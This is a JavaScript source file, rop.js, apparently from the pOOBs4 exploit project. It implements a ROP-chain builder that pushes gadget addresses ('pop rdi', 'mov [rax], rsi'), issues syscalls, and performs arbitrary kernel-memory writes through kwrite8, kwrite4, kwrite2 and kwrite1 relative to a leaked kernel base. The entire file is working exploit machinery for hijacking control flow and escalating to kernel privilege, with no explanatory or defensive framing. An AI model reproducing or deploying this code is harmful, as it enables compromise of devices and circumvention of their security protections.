pOOBs4/rop.js

184 lines
5.0 KiB
JavaScript

const stack_sz = 0x40000;
const reserve_upper_stack = 0x10000;
const stack_reserved_idx = reserve_upper_stack / 4;
// Class for quickly creating and managing a ROP chain
window.rop = function () {
this.stackback = p.malloc32(stack_sz / 4 + 0x8);
this.stack = this.stackback.add32(reserve_upper_stack);
this.stack_array = this.stackback.backing;
this.retval = this.stackback.add32(stack_sz);
this.count = 1;
this.branches_count = 0;
this.branches_rsps = p.malloc(0x200);
this.clear = function () {
this.count = 1;
this.branches_count = 0;
for (var i = 1; i < ((stack_sz / 4) - stack_reserved_idx); i++) {
this.stack_array[i + stack_reserved_idx] = 0;
}
};
this.pushSymbolic = function () {
this.count++;
return this.count - 1;
}
this.finalizeSymbolic = function (idx, val) {
if (val instanceof int64) {
this.stack_array[stack_reserved_idx + idx * 2] = val.low;
this.stack_array[stack_reserved_idx + idx * 2 + 1] = val.hi;
} else {
this.stack_array[stack_reserved_idx + idx * 2] = val;
this.stack_array[stack_reserved_idx + idx * 2 + 1] = 0;
}
}
this.push = function (val) {
this.finalizeSymbolic(this.pushSymbolic(), val);
}
this.push_write8 = function (where, what) {
this.push(gadgets["pop rdi"]);
this.push(where);
this.push(gadgets["pop rsi"]);
this.push(what);
this.push(gadgets["mov [rdi], rsi"]);
}
this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9) {
if (rdi != undefined) {
this.push(gadgets["pop rdi"]);
this.push(rdi);
}
if (rsi != undefined) {
this.push(gadgets["pop rsi"]);
this.push(rsi);
}
if (rdx != undefined) {
this.push(gadgets["pop rdx"]);
this.push(rdx);
}
if (rcx != undefined) {
this.push(gadgets["pop rcx"]);
this.push(rcx);
}
if (r8 != undefined) {
this.push(gadgets["pop r8"]);
this.push(r8);
}
if (r9 != undefined) {
this.push(gadgets["pop r9"]);
this.push(r9);
}
if (this.stack.add32(this.count * 0x8).low & 0x8) {
this.push(gadgets["ret"]);
}
this.push(rip);
return this;
}
this.call = function (rip, rdi, rsi, rdx, rcx, r8, r9) {
this.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);
this.write_result(this.retval);
this.run();
return p.read8(this.retval);
}
this.syscall = function (sysc, rdi, rsi, rdx, rcx, r8, r9) {
return this.call(window.syscalls[sysc], rdi, rsi, rdx, rcx, r8, r9);
}
//get rsp of the next push
this.get_rsp = function () {
return this.stack.add32(this.count * 8);
}
this.write_result = function (where) {
this.push(gadgets["pop rdi"]);
this.push(where);
this.push(gadgets["mov [rdi], rax"]);
}
this.write_result4 = function (where) {
this.push(gadgets["pop rdi"]);
this.push(where);
this.push(gadgets["mov [rdi], eax"]);
}
this.jmp_rsp = function (rsp) {
this.push(window.gadgets["pop rsp"]);
this.push(rsp);
}
this.run = function () {
p.launch_chain(this);
this.clear();
}
this.KERNEL_BASE_PTR_VAR;
this.set_kernel_var = function (arg) {
this.KERNEL_BASE_PTR_VAR = arg;
}
this.rax_kernel = function (offset) {
this.push(gadgets["pop rax"]);
this.push(this.KERNEL_BASE_PTR_VAR)
this.push(gadgets["mov rax, [rax]"]);
this.push(gadgets["pop rsi"]);
this.push(offset)
this.push(gadgets["add rax, rsi"]);
}
this.write_kernel_addr_to_chain_later = function (offset) {
this.push(gadgets["pop rdi"]);
var idx = this.pushSymbolic();
this.rax_kernel(offset);
this.push(gadgets["mov [rdi], rax"]);
return idx;
}
this.kwrite8 = function (offset, qword) {
this.rax_kernel(offset);
this.push(gadgets["pop rsi"]);
this.push(qword);
this.push(gadgets["mov [rax], rsi"]);
}
this.kwrite4 = function (offset, dword) {
this.rax_kernel(offset);
this.push(gadgets["pop rdx"]);
this.push(dword);
this.push(gadgets["mov [rax], edx"]);
}
this.kwrite2 = function (offset, word) {
this.rax_kernel(offset);
this.push(gadgets["pop rcx"]);
this.push(word);
this.push(gadgets["mov [rax], cx"]);
}
this.kwrite1 = function (offset, byte) {
this.rax_kernel(offset);
this.push(gadgets["pop rcx"]);
this.push(byte);
this.push(gadgets["mov [rax], cl"]);
}
this.kwrite8_kaddr = function (offset1, offset2) {
this.rax_kernel(offset2);
this.push(gadgets["mov rdx, rax"]);
this.rax_kernel(offset1);
this.push(gadgets["mov [rax], rdx"]);
}
return this;
};